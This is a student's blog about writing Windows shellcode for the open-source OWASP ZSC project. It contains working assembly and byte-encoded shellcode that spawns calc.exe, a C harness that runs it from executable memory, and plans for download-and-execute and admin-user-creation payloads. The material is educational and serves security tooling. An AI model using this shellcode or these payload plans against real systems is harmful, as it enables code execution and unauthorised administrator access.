Saturday 28 May 2016

Windows Shellcode for executing file - Week 1

Hello,

Its time for blog post :). This week was good learning experience. In last couple of post I forgot to thank my mentors for helping me :P. Thank you Brian, Johanna and Ali for accepting me to the project.

This week I learned a lot about Shellcode part. My mentor Brian was helping me with all my doubts. Whenever I had any doubts even if its small doubt and I couldn't understand after googling for sometime then I use to ask Brian and he was very helpful. He is always responsive and gives best descriptive answers. So first I started by learning Shellcode in general from The Shellcoder's Handbook and some other resources. I learned about Linux shellcode first and it was good one. And When I switched to Windows Shellcode Part everything was different. It took sometime to slowly understand everything.  After reading lot of tutorial, papers and shellcodes I was able to write WinExec shellcode that spawns calc. It was amazing moment when calc spawned without any segfaults :).

The problem with writing shellcode for windows is that the base address of kernel32.dll changes from version to version of windows.So we can't hardcode the address of kernel32.dll. So the things that we have to do to write windows shellcode is :

1. Find kernel32.dll base address using Process Environment Block (PEB).
2. Parse it’s export table to locate GetProcAddress
3. Use GetProcAddress to locate LoadLibrary
4. Use LoadLibrary to load other dll into current address space
5. Then again use GetProcAddress to locate required functions which are needed for writing shellcode.

For writing Execute Shellcode we will require WinExec function which is in kernel32.dll. So first we have to find kernel32.dll and then we have to find GetProcAddress and using GetProcAddress we have to find WinExec address and then we can use WinExec and to exit we can use ExitProcess method which is also in kernel32.dll. So for this shellcode we don't need to load any other dll's.

First we have to find kernel32.dll base address. As described in skape paper and some other papers we can use PEB method to get kernel32.dll base address as :
xor ecx, ecx
mov eax, [fs:ecx + 0x30]  ; GET PEB
mov eax, [eax + 0xc]      ; PEB->Ldr
mov esi, [eax + 0x14]     ; PEB->Ldr.InMemOrder
lodsd                     ; Second module
xchg eax, esi
lodsd                     ; Third module(kernel)
mov ebx, [eax + 0x10]     ; base address of kernel32.dll
Now we have to find offset of GetProcAddress, as offset of functions vary from functions to functions so GetProcAddress is not loaded at same offset for all kernel32.dll. We can use Export Directory table as described in skape paper. The ESI pointer stores the address of exported function names.

mov edx, [ebx + 0x3c] ; DOS->e_lfanew
add edx, ebx          ; PE Header
mov edx, [edx + 0x78] ; Offset export table
add edx, ebx          ; Export table
mov esi, [edx + 0x20] ; Offset names table
add esi, ebx          ; Names table
Now we will find GetProcAddress as we will be using GetProcAddress to find address of other functions. I read about this method to find GetProcAddress by comparing name in securitycafe tutorial post about windows shellcode, it's comparing names of functions. There is also other method to find using hashes which Brian said and I will try to learn that also. Here is how we will get GetProcAddress :
xor ecx, ecx        
Get_Function:
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword [eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]    ; ESI = Offset ordinals
add esi, ebx             ; ESI = Ordinals table
mov cx, [esi + ecx * 2]  ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]    ; ESI = Offset address table
add esi, ebx             ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx             ; EDX = GetProcAddress
Now we have GetProcAddress and we will use that to find WinExec function address.
push ebx  ; kernel32.dll base address
push edx ;GetProcAddress base address
xor ecx, ecx
push ecx
mov ecx, 0x61636578 ; xeca  a will be modified with null
push ecx
sub dword [esp + 0x3], 0x61 ;Modify last value as null
push 0x456e6957 ;WinE hex code
push esp ;pointer to string
push ebx ; kernel32.dll address
call edx  ; GetProcAddress(kernel32.dll, WinExec)
Now edx will contain WinExec base address and we can use that for Executing file. WinExec requires two parameters one we will store in ecx and one in ebx and push it to stack
add esp, 0x8 ; Move stack to 8 bytes so string "WinExec\0" will be removed
pop ecx
push eax ; eax contains WinExec address
xor ecx, ecx
push ecx
push 0x6578652e ; .exe hex value
push 0x636c6163 ;calc hex value
xor ebx, ebx
mov ebx, esp ;save pointer to string in ebx
xor ecx, ecx
push ecx
push ebx ; push pointer to string calc.exe
call eax  ; WinExec("calc.exe",0)
 Ok now we have spawned our calc and now we need to Exit. For that we will use GetProcAddress and find ExitProcess base address and execute ExitProcess(0) as :

add esp, 0x10  ;skip 16bytes of stack : "calc.exe",0, WinExec address
pop edx ; GetProcAddress address
pop ebx ;kernel32.dll address
xor ecx, ecx
mov ecx, 0x61737365             ; essa
push ecx
sub dword [esp + 0x3], 0x61 ; "a" will be now null
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp     ;pointer to string
push ebx                        ; kernel32.dll base address
call edx                        ; GetProcAddress(kernel32.dll, ExitProcess)
xor ecx, ecx ;
push ecx     ;  0
call eax     ; ExitProcess(0)

So that's it. I tested this shellcode in Windows XP and 8.1. I think I can still reduce few bytes as I see that I saved some base address like for WinExec which I saved on stack but didn't use later. Here is the code with shellcode in Visual Studio to test it :
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char shellcode[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58"
"\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81"
"\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65"
"\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31"
"\xc9\x53\x52\x51\xb9\x78\x65\x63\x61\x51\x83\x6c\x24\x03\x61\x68\x57\x69\x6e\x45\x54\x53\xff"
"\xd2\x83\xc4\x08\x59\x50\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x31\xdb\x89\xe3"
"\x31\xc9\x51\x53\xff\xd0\x83\xc4\x10\x5a\x5b\x31\xc9\xb9\x65\x73\x73\x61\x51\x83\x6c\x24\x03"
"\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd2\x31\xc9\x51\xff\xd0";
printf("Executing Shellcode...\n");
void *page = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(page, shellcode, sizeof(shellcode));
((void(*)())page)();
return 0;

I have to make this shellcode work so that it should execute any file not only calc.exe. I will discuss that with Brian and implement it. I have to also write opcoder now as I got code I can write opcoder and test it. I and Brian are thinking to use some libraries but I have to test library with shellcode and see if it works and discuess with Ali if we can use that library in tool.

P.S : Today is my Birthday :)

Thanks for reading. Have a Good day :)

Wednesday 18 May 2016

Some details about Windows Shellcode part of GSoC project

Completed my final exams and now its time to focus on GSoC project :).


In my last blog I posted timeline which was in my proposal and in this post I will add details about Shellcode part of project which I will be completing before mid evaluation if everything goes as planned.

Shellcode for Windows

For Windows there is no direct kernel interface like int 0x80. Windows provide kernel32.dll but we cannot find functions loaded at same address for different versions of windows so it's hard to use hardcoded address to write shellcode. Skape paper on Windows Shellcode describes how we can find address of function using PEB. I am not going to write the details which are there in paper here. So in summary it is like this:

1. Find kernel32.dll base address using Process Environment Block (PEB)
2. Parse it’s export table to locate GetProcAddress
3. Use GetProcAddress to locate LoadLibrary
4. Use LoadLibrary to load other dll into current address space
5. Then again use GetProcAddress to locate required functions which are needed for
writing shellcode.


There is another way we can do this, by hardcoding the address but we will find the address of modules dynamically using python ctypes.
Something like this to get address of module.
import ctypes
dll = u'kernel32.dll'
module = 'WinExec'
kernel32 = ctypes.windll.kernel32
handle = kernel32.LoadLibraryW(dll)
address = kernel32.GetProcAddress(handle,module)

Here is script that I wrote sometimes back to generate asm code that executes cmd.exe using functions WinExec and ExitProcess - https://gist.github.com/Pratik151/58fd921116ce314d796b

Here is rough timeline on what I am planning to do:

Week 1 and Week 2 (May 23 - June 5) 
Add opcoder for windows like this one which is for linux - https://github.com/Ali-Razmjoo/OWASP-ZSC/blob/master/lib/opcoder/linux_x86.py
Add Execute Shellcode - It requires two functions WinExec and ExitProcess
Start Writing to file Shellcode- It requires fopen, fclose and ExitProcess

If I will be able to add the address of module dynamically using ctypes and if it works then I think the shellcode can be developed before time. But If that won't work then I have to use PEB method to get address of required functions.

Week 3 (June 6 - June 12)
Complete Writing to file SC if it is not completed yet.
Add Create directory shellcode. If I am able to complete it before time then I can work start next week work or If more time is left then I can start other new shellcode.

Week 4 & Week 5(Junt 13 - June 26)
Add shellcode Download and Executing a file - This requires URLDownloadToFile function which is there in Urlmon.dll. But Urlmon.dll is not loaded in process when it is started so we will be needing to load the dll into process first and then only we can use URLDownloadToFile function. So we have to load Urlmon.dll into process using LoadLibrary. We can first find address of LoadLibrary dynamically using ctypes and then with that we can load Urlmon.dll and then we can use the UrlDownloadToFile function. The dll can be loaded something like this:

GetUrlmonLibrary:
call LoadUrlmon
db ‘Urlmon.dllN’ ;N will be replaced with Null character
LoadUrlmon:
pop ecx ;get the ‘Urlmon.dllN’ string
mov [ecx + 10], dl ;insert NULL for string termination
mov ebx, 0x7639a820 ; Base address of LoadLibraryW as we got from ctypes
push ecx
call ebx
Add shellcode for creating user and adding user to admin group - we can use WinExec and execute cmd.exe and directly use the command “net user
USERNAME PASSWORD /ADD” and “net localgroup administrators USERNAME /ADD” or other way is to use NetUserAdd and NetLocalGroupAddMembers which is in Netapi32.dll


This schedule is till mid term and after that I will spend one more week for adding one or two shellcode which are in proposal. I will post timeline for Code Obfuscation modules part while doing the project when I have time in between.


Thanks for Reading this long post,  Have a Good day :)

Sunday 1 May 2016

Timeline for GSoC project

Hello,

I got accepted into GSoC this year and I am so excited to work with open source organization :). This summer I will be working on my project with OWASP ZSC and here is the link to my project on gsoc site. The project is Windows Shellcode and Code Obfuscation modules. So in my summer time I will be creating windows shellcode and code obfuscation modules for ZSC tool. The coding period officially starts from 23rd May and we are currently in community bonding period. In this period I have to familiarize my self with the organiszation, code base and interact with mentors and make plan about project before the full time coding begins. 

Here is my proposed timeline that I will be working on during coding period. So basically this project has two parts one is developing shellcodes for windows and second part is to add code obfuscation modules for different languages. I will be working first on shellcode part as I mentioned in my proposal most likely. I didn't write technical details of my projects which are on my proposal about shellcodes and modules on this post but I will write the technical details in next post after discussing with mentors and also more detailed timeline if possible. I will discuss with brian about shellcode part and which way I should go to develop shellcodes as in my proposal I mentioned two ways. I will try to make that discussion on mailing list mostly and if I have discussion on skype/telegram then I will post details on mailing list so that it can be helpful for others also.

My exams starts from 3rd May. So I will be less active from May 2 - 10 but I will check mailing list regularly and I have one more exam on 16th May(it was on 7th but was postponed) but I will be available from May 11 - May 15th. After my exams I will be able to work full time and I hope to complete project successfully and learn many things :)

In next blog I will add technical details for shellcode part and also add more details to timeline.